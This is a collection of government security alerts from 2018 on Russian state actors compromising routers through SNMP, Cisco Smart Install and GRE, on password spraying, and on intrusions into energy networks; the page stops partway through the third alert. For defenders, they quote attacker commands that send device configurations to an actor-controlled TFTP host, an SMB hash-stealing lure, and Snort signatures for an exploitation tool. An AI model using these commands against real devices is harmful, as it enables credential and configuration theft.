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Alerts warn about vulnerabilities, incidents, and other security issues that pose a significant risk.
Updated: 4 min 12 sec ago

TA18-106A: Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices

April 16, 2018 - 6:25pm
Original release date: April 16, 2018 | Last revised: April 20, 2018
Systems Affected
  • Generic Routing Encapsulation (GRE) Enabled Devices
  • Cisco Smart Install (SMI) Enabled Devices
  • Simple Network Management Protocol (SNMP) Enabled Network Devices

Update: On April 19, 2018, an industry partner notified NCCIC and the FBI of malicious cyber activity that aligns with the techniques, tactics, and procedures (TTPs) and network indicators listed in this Alert. Specifically, the industry partner reported the actors redirected DNS queries to their own infrastructure by creating GRE tunnels and obtained sensitive information, which include the configuration files of networked devices.

NCCIC encourages organizations to use the detection and prevention guidelines outlined in this Alert to help defend against this activity. For instance, administrators should inspect the presence of protocol 47 traffic flowing to or from unexpected addresses, or unexplained presence of GRE tunnel creation, modification, or destruction in log files.

Original Post: This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the United Kingdom’s National Cyber Security Centre (NCSC). This TA provides information on the worldwide cyber exploitation of network infrastructure devices (e.g., router, switch, firewall, Network-based Intrusion Detection System (NIDS) devices) by Russian state-sponsored cyber actors. Targets are primarily government and private-sector organizations, critical infrastructure providers, and the Internet service providers (ISPs) supporting these sectors. This report contains technical details on the tactics, techniques, and procedures (TTPs) used by Russian state-sponsored cyber actors to compromise victims. Victims were identified through a coordinated series of actions between U.S. and international partners. This report builds on previous DHS reporting and advisories from the United Kingdom, Australia, and the European Union. [1-5] This report contains indicators of compromise (IOCs) and contextual information regarding observed behaviors on the networks of compromised victims. FBI has high confidence that Russian state-sponsored cyber actors are using compromised routers to conduct man-in-the-middle attacks to support espionage, extract intellectual property, maintain persistent access to victim networks, and potentially lay a foundation for future offensive operations.

DHS, FBI, and NCSC urge readers to act on past alerts and advisories issued by the U.S. and U.K. Governments, allied governments, network device manufacturers, and private-sector security organizations. Elements from these alerts and advisories have been selected and disseminated in a wide variety of security news outlets and social media platforms. The current state of U.S. network devices—coupled with a Russian government campaign to exploit these devices—threatens the safety, security, and economic well-being of the United States.

The purpose of this TA is to inform network device vendors, ISPs, public-sector organizations, private-sector corporations, and small office home office (SOHO) customers about the Russian government campaign, provide information to identify malicious activity, and reduce exposure to this activity.

For a downloadable copy of the IOC package, see TA18-106A_TLP_WHITE.stix.xml.


Since 2015, the U.S. Government received information from multiple sources—including private and public sector cybersecurity research organizations and allies—that cyber actors are exploiting large numbers of enterprise-class and SOHO/residential routers and switches worldwide. The U.S. Government assesses that cyber actors supported by the Russian government carried out this worldwide campaign. These operations enable espionage and intellectual property theft that supports the Russian Federation’s national security and economic goals.

Legacy Protocols and Poor Security Practice

Russian cyber actors leverage a number of legacy or weak protocols and service ports associated with network administration activities. Cyber actors use these weaknesses to

  • identify vulnerable devices;
  • extract device configurations;
  • map internal network architectures;
  • harvest login credentials;
  • masquerade as privileged users;
  • modify
    • device firmware,
    • operating systems,
    • configurations; and
  • copy or redirect victim traffic through Russian cyber-actor-controlled infrastructure.

Additionally, Russian cyber actors could potentially modify or deny traffic traversing through the router.

Russian cyber actors do not need to leverage zero-day vulnerabilities or install malware to exploit these devices. Instead, cyber actors take advantage of the following vulnerabilities:

  • devices with legacy unencrypted protocols or unauthenticated services,
  • devices insufficiently hardened before installation, and
  • devices no longer supported with security patches by manufacturers or vendors (end-of-life devices).

These factors allow for both intermittent and persistent access to both intellectual property and U.S. critical infrastructure that supports the health and safety of the U.S. population.

Own the Router, Own the Traffic

Network devices are ideal targets. Most or all organizational and customer traffic must traverse these critical devices. A malicious actor with presence on an organization’s gateway router has the ability to monitor, modify, and deny traffic to and from the organization. A malicious actor with presence on an organization’s internal routing and switching infrastructure can monitor, modify, and deny traffic to and from key hosts inside the network and leverage trust relationships to conduct lateral movement to other hosts. Organizations that use legacy, unencrypted protocols to manage hosts and services, make successful credential harvesting easy for these actors. An actor controlling a router between Industrial Control Systems – Supervisory Control and Data Acquisition (ICS-SCADA) sensors and controllers in a critical infrastructure—such as the Energy Sector—can manipulate the messages, creating dangerous configurations that could lead to loss of service or physical destruction. Whoever controls the routing infrastructure of a network essentially controls the data flowing through the network.

Network Devices—Often Easy Targets

  • Network devices are often easy targets. Once installed, many network devices are not maintained at the same security level as other general-purpose desktops and servers. The following factors can also contribute to the vulnerability of network devices:
  • Few network devices—especially SOHO and residential-class routers—run antivirus, integrity-maintenance, and other security tools that help protect general purpose hosts.
  • Manufacturers build and distribute these network devices with exploitable services, which are enabled for ease of installation, operation, and maintenance.
  • Owners and operators of network devices do not change vendor default settings, harden them for operations, or perform regular patching.
  • ISPs do not replace equipment on a customer’s property when that equipment is no longer supported by the manufacturer or vendor.
  • Owners and operators often overlook network devices when they investigate, examine for intruders, and restore general-purpose hosts after cyber intrusions.

Stage 1: Reconnaissance

Russian state-sponsored cyber actors have conducted both broad-scale and targeted scanning of Internet address spaces. Such scanning allows these actors to identify enabled Internet-facing ports and services, conduct device fingerprinting, and discover vulnerable network infrastructure devices. Protocols targeted in this scanning include

  • Telnet (typically Transmission Control Protocol (TCP) port 23, but traffic can be directed to a wide range of TCP ports such as 80, 8080, etc.),
  • Hypertext Transport Protocol (HTTP, port 80),
  • Simple Network Management Protocol (SNMP, ports 161/162), and
  • Cisco Smart Install (SMI port 4786).

Login banners and other data collected from enabled services can reveal the make and model of the device and information about the organization for future engagement.

Device configuration files extracted in previous operations can enhance the reconnaissance effort and allow these actors to refine their methodology.

Stage 2: Weaponization and Stage 3: Delivery

Commercial and government security organizations have identified specially crafted SNMP and SMI packets that trigger the scanned device to send its configuration file to a cyber-actor-controlled host via Trivial File Transfer Protocol (TFTP), User Datagram Protocol (UDP) port 69. [6-8] If the targeted network is blocking external SNMP at the network boundary, cyber actors spoof the source address of the SNMP UDP datagram as coming from inside the targeted network. The design of SMI (directors and clients) requires the director and clients to be on the same network. However, since SMI is an unauthenticated protocol, the source address for SMI is also susceptible to spoofing.

The configuration file contains a significant amount of information about the scanned device, including password hash values. These values allow cyber actors to derive legitimate credentials. The configuration file also contains SNMP community strings and other network information that allows the cyber actors to build network maps and facilitate future targeted exploitation.

Stage 4: Exploitation

Legitimate user masquerade is the primary method by which these cyber actors exploit targeted network devices. In some cases, the actors use brute-force attacks to obtain Telnet and SSH login credentials. However, for the most part, cyber actors are able to easily obtain legitimate credentials, which they then use to access routers. Organizations that permit default or commonly used passwords, have weak password policies, or permit passwords that can be derived from credential-harvesting activities, allow cyber actors to easily guess or access legitimate user credentials. Cyber actors can also access legitimate credentials by extracting password hash values from configurations sent by owners and operators across the Internet or by SNMP and SMI scanning.

Armed with the legitimate credentials, cyber actors can authenticate into the device as a privileged user via remote management services such as Telnet, SSH, or the web management interface.

Stage 5: Installation

SMI is an unauthenticated management protocol developed by Cisco. This protocol supports a feature that allows network administrators to download or overwrite any file on any Cisco router or switch that supports this feature. This feature is designed to enable network administrators to remotely install and configure new devices and install new OS files.

On November 18, 2016, a Smart Install Exploitation Tool (SIET) was posted to the Internet. The SIET takes advantage of the unauthenticated SMI design. Commercial and government security organizations have noted that Russian state-sponsored cyber actors have leveraged the SIET to abuse SMI to download current configuration files. Of concern, any actor may leverage this capability to overwrite files to modify the device configurations, or upload maliciously modified OS or firmware to enable persistence. Additionally, these network devices have writeable file structures where malware for other platforms may be stored to support lateral movement throughout the targeted network.

Stage 6: Command and Control

Cyber actors masquerade as legitimate users to log into a device or establish a connection via a previously uploaded OS image with a backdoor. Once successfully logged into the device, cyber actors execute privileged commands. These cyber actors create a man-in-the-middle scenario that allows them to

  • extract additional configuration information,
  • export the OS image file to an externally located cyber actor-controlled FTP server,
  • modify device configurations,
  • create Generic Routing Encapsulation (GRE) tunnels, or
  • mirror or redirect network traffic through other network infrastructure they control.

At this stage, cyber actors are not restricted from modifying or denying traffic to and from the victim. Although there are no reports of this activity, it is technically possible.



Review network device logs and netflow data for indications of TCP Telnet-protocol traffic directed at port 23 on all network device hosts. Although Telnet may be directed at other ports (e.g., port 80, HTTP), port 23 is the primary target. Inspect any indication of Telnet sessions (or attempts). Because Telnet is an unencrypted protocol, session traffic will reveal command line interface (CLI) command sequences appropriate for the make and model of the device. CLI strings may reveal login procedures, presentation of user credentials, commands to display boot or running configuration, copying files and creation or destruction of GRE tunnels, etc. See Appendices A and B for CLI strings for Cisco and other vendors’ devices.


Review network device logs and netflow data for indications of UDP SNMP traffic directed at port 161/162 on all network-device hosts. Because SNMP is a management tool, any such traffic that is not from a trusted management host on an internal network should be investigated. Review the source address of SNMP traffic for indications of addresses that spoof the address space of the network. Review outbound network traffic from the network device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound or spoofed SNMP closely followed by outbound TFTP should be cause for alarm and further inspection. See Appendix C for detection of the cyber actors’ SNMP tactics.

Because TFTP is an unencrypted protocol, session traffic will reveal strings associated with configuration data appropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other vendor’s devices.


Review network device logs and netflow data for indications of TCP SMI protocol traffic directed at port 4786 of all network-device hosts. Because SMI is a management feature, any traffic that is not from a trusted management host on an internal network should be investigated. Review outbound network traffic from the network device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound SMI closely followed by outbound TFTP should be cause for alarm and further inspection. Of note, between June 29 and July 6, 2017, Russian actors used the SMI protocol to scan for vulnerable network devices. Two Russian cyber actors controlled hosts and, and connected to IPs on several network ranges on port 4786. See Appendix D for detection of the cyber actors’ SMI tactics.

Because TFTP is an unencrypted protocol, session traffic will reveal strings appropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other vendors’ devices.

Determine if SMI is present

  • Examine the output of “show vstack config | inc Role”. The presence of “Role: Client (SmartInstall enabled)” indicates that Smart Install is configured.
  • Examine the output of "show tcp brief all" and look for "*:4786". The SMI feature listens on tcp/4786.
  • Note: The commands above will indicate whether the feature is enabled on the device but not whether a device has been compromised.

Detect use of SMI

The following signature may be used to detect SMI usage. Flag as suspicious and investigate SMI traffic arriving from outside the network boundary. If SMI is not used inside the network, any SMI traffic arriving on an internal interface should be flagged as suspicious and investigated for the existence of an unauthorized SMI director. If SMI is used inside the network, ensure that the traffic is coming from an authorized SMI director, and not from a bogus director.

  • alert tcp any any -> any 4786 (msg:"Smart Install Protocol"; flow:established,only_stream; content:"|00 00 00 01 00 00 00 01|"; offset:0; depth:8; fast_pattern;)
  • See Cisco recommendations for detecting and mitigating SMI. [9]

Detect use of SIET

The following signatures detect usage of the SIET's commands change_config, get_config, update_ios, and execute. These signatures are valid based on the SIET tool available as of early September 2017:

  • alert tcp any any -> any 4786 (msg:"SmartInstallExploitationTool_UpdateIos_And_Execute"; flow:established; content:"|00 00 00 01 00 00 00 01 00 00 00 02 00 00 01 c4|"; offset:0; depth:16; fast_pattern; content:"://";)
  • alert tcp any any -> any 4786 (msg:"SmartInstallExploitationTool_ChangeConfig"; flow:established; content:"|00 00 00 01 00 00 00 01 00 00 00 03 00 00 01 28|"; offset:0; depth:16; fast_pattern; content:"://";)
  • alert tcp any any -> any 4786 (msg: "SmartInstallExploitationTool_GetConfig"; flow: established; content:"|00 00 00 01 00 00 00 01 00 00 00 08 00 00 04 08|"; offset:0; depth:16; fast_pattern; content:"copy|20|";)

In general, exploitation attempts with the SIET tool will likely arrive from outside the network boundary. However, before attempting to tune or limit the range of these signatures, i.e. with $EXTERNAL_NET or $HOME_NET, it is recommended that they be deployed with the source and destination address ranges set to “any”. This will allow the possibility of detection of an attack from an unanticipated source, and may allow for coverage of devices outside of the normal scope of what may be defined as the $HOME_NET.

GRE Tunneling

Inspect the presence of protocol 47 traffic flowing to or from unexpected addresses, or unexplained presence of GRE tunnel creation, modification, or destruction in log files.

Mitigation Strategies

There is a significant amount of publically available cybersecurity guidance and best practices from DHS, allied government, vendors, and the private-sector cybersecurity community on mitigation strategies for the exploitation vectors described above. The following are additional mitigations for network device manufacturers, ISPs, and owners or operators.

General Mitigations


  • Do not allow unencrypted (i.e., plaintext) management protocols (e.g. Telnet) to enter an organization from the Internet. When encrypted protocols such as SSH, HTTPS, or TLS are not possible, management activities from outside the organization should be done through an encrypted Virtual Private Network (VPN) where both ends are mutually authenticated.
  • Do not allow Internet access to the management interface of any network device. The best practice is to block Internet-sourced access to the device management interface and restrict device management to an internal trusted and whitelisted host or LAN. If access to the management interface cannot be restricted to an internal trusted network, restrict remote management access via encrypted VPN capability where both ends are mutually authenticated. Whitelist the network or host from which the VPN connection is allowed, and deny all others.
  • Disable legacy unencrypted protocols such as Telnet and SNMPv1 or v2c. Where possible, use modern encrypted protocols such as SSH and SNMPv3. Harden the encrypted protocols based on current best security practice. DHS strongly advises owners and operators to retire and replace legacy devices that cannot be configured to use SNMP V3.
  • Immediately change default passwords and enforce a strong password policy. Do not reuse the same password across multiple devices. Each device should have a unique password. Where possible, avoid legacy password-based authentication, and implement two-factor authentication based on public-private keys. See NCCIC/US-CERT TA13-175A – Risks of Default Passwords on the Internet, last revised October 7, 2016.


  • Do not design products to support legacy or unencrypted protocols. If this is not possible, deliver the products with these legacy or unencrypted protocols disabled by default, and require the customer to enable the protocols after accepting an interactive risk warning. Additionally, restrict these protocols to accept connections only from private addresses (i.e., RFC 1918).
  • Do not design products with unauthenticated services. If this is not possible, deliver the products with these unauthenticated services disabled by default, and require the customer to enable the services after accepting an interactive risk warning. Additionally, these unauthenticated services should be restricted to accept connections only from private address space (i.e., RFC 1918).
  • Design installation procedures or scripts so that the customer is required to change all default passwords. Encourage the use of authentication services that do not depend on passwords, such as RSA-based Public Key Infrastructure (PKI) keys.
  • Because YARA has become a security-industry standard way of describing rules for detecting malicious code on hosts, consider embedding YARA or a YARA-like capability to ingest and use YARA rules on routers, switches, and other network devices.

Security Vendors

  • Produce and publish YARA rules for malware discovered on network devices.


  • Do not field equipment in the network core or to customer premises with legacy, unencrypted, or unauthenticated protocols and services. When purchasing equipment from vendors, include this requirement in purchase agreements.
  • Disable legacy, unencrypted, or unauthenticated protocols and services. Use modern encrypted management protocols such as SSH. Harden the encrypted protocols based on current best security practices from the vendor.
  • Initiate a plan to upgrade fielded equipment no longer supported by the vendor with software updates and security patches. The best practice is to field only supported equipment and replace legacy equipment prior to it falling into an unsupported state.
  • Apply software updates and security patches to fielded equipment. When that is not possible, notify customers about software updates and security patches and provide timely instructions on how to apply them.

Owners or operators

  • Specify in contracts that the ISP providing service will only field currently supported network equipment and will replace equipment when it falls into an unsupported state.
  • Specify in contracts that the ISP will regularly apply software updates and security patches to fielded network equipment or will notify and provide the customers the ability to apply them.
  • Block TFTP from leaving the organization destined for Internet-based hosts. Network devices should be configured to send configuration data to a secured host on a trusted segment of the internal management LAN.
  • Verify that the firmware and OS on each network device are from a trusted source and issued by the manufacturer. To validate the integrity of network devices, refer to the vendor’s guidance, tools, and processes. See Cisco’s Security Center for guidance to validate Cisco IOS firmware images.
  • Cisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet Gateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). The indicators in Appendix A may be applicable to your device.

Detailed Mitigations

Refer to the vendor-specific guidance for the make and model of network device in operation.

For information on mitigating SNMP vulnerabilities, see

How to Mitigate SMI Abuse

  • Configure network devices before installing onto a network exposed to the Internet. If SMI must be used during installation, disable SMI with the “no vstack” command before placing the device into operation.
  • Prohibit remote devices attempting to cross a network boundary over TCP port 4786 via SMI.
  • Prohibit outbound network traffic to external devices over UDP port 69 via TFTP.
  • See Cisco recommendations for detecting and mitigating SMI. [10]
  • Cisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet Gateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). Check with your ISP and ensure that they have disabled SMI before or at the time of installation, or obtain instructions on how to disable it.

How to Mitigate GRE Tunneling Abuse:

  • Verify that all routing tables configured in each border device are set to communicate with known and trusted infrastructure.
  • Verify that any GRE tunnels established from border routers are legitimate and are configured to terminate at trusted endpoints.



Operating System Fingerprinting is analyzing characteristics of packets sent by a target, such as packet headers or listening ports, to identify the operating system in use on the target. [11]

Spear phishing is an attempt by an individual or group to solicit personal information from unsuspecting users by employing social engineering techniques. Phishing emails are crafted to appear as if they were sent from a legitimate organization or known individual. These emails often attempt to entice users to click on a link that will take the user to a fraudulent website that appears legitimate. The user then may be asked to provide personal information, such as account usernames and passwords, which can further expose them to future compromises. [12]

In a watering hole attack, the attacker compromises a site likely to be visited by a particular target group, rather than attacking the target group directly. [13]


Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to NCCIC or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at or 888-282-0870 and the FBI through a local field office or the FBI’s Cyber Division at or 855-292-3937. To request information from or report cyber incidents to UK authorities, contact NCSC at


Appendix A: Cisco Related Command and Configuration Strings

Command Strings.

Commands associated with Cisco IOS. These strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP, in the logs of application layer firewalls, or in the logs of network devices. Network device owners and operators should review the Cisco documentation of their particular makes and models for strings that would allow the owner or operator to customize the list for an Intrusion Detection System (IDS). Detecting commands from Internet-based hosts should be a cause for concern and further investigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.


'sh arp'           
'sho arp'           
'show arp'
'sh bgp sum'       
'sho bgp sum'       
'show bgp sum'
'sh cdp'           
'sho cdp'           
'show cdp'
'sh con'           
'sho con'
'show con'
'sh ip route'     
'sho ip route'      
'show ip route'
'sh inv'           
'sho inv'           
'show inv'
'sh int'           
'sho int'           
'show int'
'sh nat trans'    
'sho nat trans'     
'show nat trans'
'sh run'           
'sho run'           
'show run'
'sh ver'           
'sho ver'           
'show ver'
'sh isis'          
'sho isis'          
'show isis'
'sh rom-monitor'   
'sho rom-monitor'   
'show rom-monitor'
'sh startup-config'
'sho startup-config'
'show startup-config'
'sh boot'          
'sho boot'          
'show boot'
'enable secret'

Configuration Strings.

Strings associated with Cisco IOS configurations may be seen in the outbound network traffic of unencrypted management tools such as Telnet, HTTP, or TFTP. This is a subset of the possible strings. Network device owners and operators should export the configuration of their particular makes and models to a secure host and examine it for strings that would allow the owner or operator to customize the list for an IDS. Detecting outbound configuration data leaving an organization destined for Internet-based hosts should be a cause for concern and further investigation to ensure the destination is authorized to receive the configuration data. Because configuration data provides an adversary with information—such as the password hashes—to enable future attacks, configuration data should be encrypted between sender and receiver. Outbound configuration files may be triggered by SNMP queries and Cisco Smart Install commands. In such cases, the outbound file would be sent via TFTP. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.


aaa new-model
advertisement version
BGP router identifier
boot system flash:
Building configuration?
Cisco Internetwork Operating System
Cisco IOS Software,
Configuration register
Codes C ? connected, S ? static
configuration memory
Current configuration :
! Last configuration change at 
! NVRAM config last updated at 
interface VLAN
interface FastEthernet
interface GigabitEthernet
interface pos
line protocol is
loopback not set
ip access-list extended
nameif outside
Routing Bit Set on this LSA
route source
router bgp
router ospf
routing table
ROM: Bootstrap program is
system bootstrap
System image file is
boot system flash
boot end-marker
BOOT path-list


Appendix B: Other Vendor Command and Configuration Strings

Russian state-sponsored cyber actors could potentially target the network devices from other manufacturers. Therefore, operators and owners should review the documentation associated with the make and model they have in operation to identify strings associated with administrative functions. Export the current configuration and identify strings associated with the configuration. Place the device-specific administrative and configuration strings into network-based and host-based IDS. Examples for Juniper JUNOS may include: “enable”, ”reload”, ”show”, ”set”, ”unset” ”file copy”, or ”request system scripts” followed by other expected parameters. Examples for MicroTic may include: “ip”, ”interface”, ”firewall”, ”password”, or ”ping”. See the documentation for your make and model for specific strings and parameters to place on watch.

These strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP, in the logs of application layer firewalls or network devices. Detecting commands from Internet-based hosts should be a cause for concern and further investigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is necessary to remove false positives.

The following are important functions to monitor:

  • login
  • displaying or exporting the current configuration
  • copying files from the device to another host, especially a host outside the LAN or one not previously authorized
  • copying files to the device from another host, especially a host outside the LAN or one not previously authorized
  • changes to the configuration
  • creation or destruction of GRE tunnels


Appendix C: SNMP Queries
  • SNMP query containing any of the following from an external host
    • show run
    • show ip arp
    • show version
    • show ip route
    • show neighbor detail
    • show interface
  • SNMP Command ID with the TFTP server IP parameter of “”
  • SNMP and Cisco's "config copy" management information base (MIB) object identifiers (OIDs) Command ID with the TFTP server IP parameter of “” and community strings of ”public” ”private” or ”anonymous”
OID NameOID ValueMeaning1. type = TFTP1. file type = network file1. file type = running config1. server IP = name = backup1. the status of the table entry
  • SNMP Command ID with the TFTP server IP parameter
  • SNMP v2c and v1 set-requests with the OID with the TFTP server IP parameter “”, using community strings “private” and “anonymous”
  • The OID is a request to transfer a copy of a router's configuration to the IP address specified in the last four octets of the OID, in this case
  • Since late July 2016, has been scanning thousands of IPs worldwide using SNMP.
  • Between November 21 and 22, 2016, Russian cyber actors attempted to scan using SNMP version 2 Object Identifier (OID) with a value of and a community string of “public”. This command would cause vulnerable devices to exfiltrate configuration data to a specified IP address over TFTP; in this case, IP address
  • SNMP, TFTP, HTTP, Telnet, or SSH traffic to or from the following IPs


Appendix D: SMI Queries

Between June 29 and July 6, 2017, Russian actors used the Cisco Smart Install protocol to scan for vulnerable network devices. Two Russian cyber actor-controlled hosts, and, connected to IPs on several network ranges on port 4786 and sent the following two commands:

  • copy nvram:startup-config flash:/config.text
  • copy nvram:startup-config tftp://[actor address]/[actor filename].conf

In early July 2017, the commands sent to targets changed slightly, copying the running configuration file instead of the startup configuration file. Additionally, the second command copies the file saved to flash memory instead of directly copying the configuration file.

  • copy system:running-config flash:/config.text
  • copy flash:/config.text tftp://[ actor address]/[actor filename].conf
References Revision History
  • April 16, 2018: Initial Version
  • April 19, 2018: Added third-party reporting

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: Security

TA18-086A: Brute Force Attacks Conducted by Cyber Actors

March 27, 2018 - 11:00pm
Original release date: March 27, 2018 | Last revised: March 28, 2018
Systems Affected

Networked systems


According to information derived from FBI investigations, malicious cyber actors are increasingly using a style of brute force attack known as password spraying against organizations in the United States and abroad.

On February 2018, the Department of Justice in the Southern District of New York, indicted nine Iranian nationals, who were associated with the Mabna Institute, for computer intrusion offenses related to activity described in this report. The techniques and activity described herein, while characteristic of Mabna actors, are not limited solely to use by this group.

The Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI) are releasing this Alert to provide further information on this activity.


In a traditional brute-force attack, a malicious actor attempts to gain unauthorized access to a single account by guessing the password. This can quickly result in a targeted account getting locked-out, as commonly used account-lockout policies allow three to five bad attempts during a set period of time. During a password-spray attack (also known as the “low-and-slow” method), the malicious actor attempts a single password against many accounts before moving on to attempt a second password, and so on. This technique allows the actor to remain undetected by avoiding rapid or frequent account lockouts.

Password spray campaigns typically target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols. An actor may target this specific protocol because federated authentication can help mask malicious traffic. Additionally, by targeting SSO applications, malicious actors hope to maximize access to intellectual property during a successful compromise. 

Email applications are also targeted. In those instances, malicious actors would have the ability to utilize inbox synchronization to (1) obtain unauthorized access to the organization's email directly from the cloud, (2) subsequently download user mail to locally stored email files, (3) identify the entire company’s email address list, and/or (4) surreptitiously implements inbox rules for the forwarding of sent and received messages.

Technical Details

Traditional tactics, techniques, and procedures (TTPs) for conducting the password-spray attacks are as follows:

  • Using social engineering tactics to perform online research (i.e., Google search, LinkedIn, etc.) to identify target organizations and specific user accounts for initial password spray
  • Using easy-to-guess passwords (e.g., “Winter2018”, “Password123!”) and publicly available tools, execute a password spray attack against targeted accounts by utilizing the identified SSO or web-based application and federated authentication method
  • Leveraging the initial group of compromised accounts, downloading the Global Address List (GAL) from a target’s email client, and performing a larger password spray against legitimate accounts
  • Using the compromised access, attempting to expand laterally (e.g., via Remote Desktop Protocol) within the network, and performing mass data exfiltration using File Transfer Protocol tools such as FileZilla

Indicators of a password spray attack include:

  • A massive spike in attempted logons against the enterprise SSO portal or web-based application;
    • Using automated tools, malicious actors attempt thousands of logons, in rapid succession, against multiple user accounts at a victim enterprise, originating from a single IP address and computer (e.g., a common User Agent String).
    • Attacks have been seen to run for over two hours.
  • Employee logons from IP addresses resolving to locations inconsistent with their normal locations.
Typical Victim Environment

The vast majority of known password spray victims share some of the following characteristics [1][2]:

  • Use SSO or web-based applications with federated authentication method
  • Lack multifactor authentication (MFA)
  • Allow easy-to-guess passwords (e.g., “Winter2018”, “Password123!”)
  • Use inbox synchronization, allowing email to be pulled from cloud environments to remote devices
  • Allow email forwarding to be setup at the user level
  • Limited logging setup creating difficulty during post-event investigations

A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • Temporary or permanent loss of sensitive or proprietary information;
  • Disruption to regular operations;
  • Financial losses incurred to restore systems and files; and
  • Potential harm to an organization’s reputation.
Solution Recommended Mitigations

To help deter this style of attack, the following steps should be taken:

  • Enable MFA and review MFA settings to ensure coverage over all active, internet facing protocols.
  • Review password policies to ensure they align with the latest NIST guidelines [3] and deter the use of easy-to-guess passwords.
  • Review IT helpdesk password management related to initial passwords, password resets for user lockouts, and shared accounts. IT helpdesk password procedures may not align to company policy, creating an exploitable security gap.
  • Many companies offer additional assistance and tools the can help detect and prevent password spray attacks, such as the Microsoft blog released on March 5, 2018. [4]
Reporting Notice

The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). Field office contacts can be identified at CyWatch can be contacted by phone at (855) 292-3937 or by e-mail at When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Press inquiries should be directed to the FBI’s national Press Office at or (202) 324-3691.

References Revision History
  • March 27, 2018: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: Security

TA18-074A: Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors

March 15, 2018 - 2:40pm
Original release date: March 15, 2018 | Last revised: March 16, 2018
Systems Affected
  • Domain Controllers
  • File Servers
  • Email Servers

This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides information on Russian government actions targeting U.S. Government entities as well as organizations in the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors. It also contains indicators of compromise (IOCs) and technical details on the tactics, techniques, and procedures (TTPs) used by Russian government cyber actors on compromised victim networks. DHS and FBI produced this alert to educate network defenders to enhance their ability to identify and reduce exposure to malicious activity.

DHS and FBI characterize this activity as a multi-stage intrusion campaign by Russian government cyber actors who targeted small commercial facilities’ networks where they staged malware, conducted spear phishing, and gained remote access into energy sector networks. After obtaining access, the Russian government cyber actors conducted network reconnaissance, moved laterally, and collected information pertaining to Industrial Control Systems (ICS).

For a downloadable copy of IOC packages and associated files, see:

Contact DHS or law enforcement immediately to report an intrusion and to request incident response resources or technical assistance.


Since at least March 2016, Russian government cyber actors—hereafter referred to as “threat actors”—targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.

Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as “staging targets” throughout this alert. The threat actors used the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including

  • spear-phishing emails (from compromised legitimate account),
  • watering-hole domains,
  • credential gathering,
  • open-source and network reconnaissance,
  • host-based exploitation, and
  • targeting industrial control system (ICS) infrastructure.

Using Cyber Kill Chain for Analysis

DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors’ activities within this framework.


Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.


Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]


Use of Watering Hole Domains

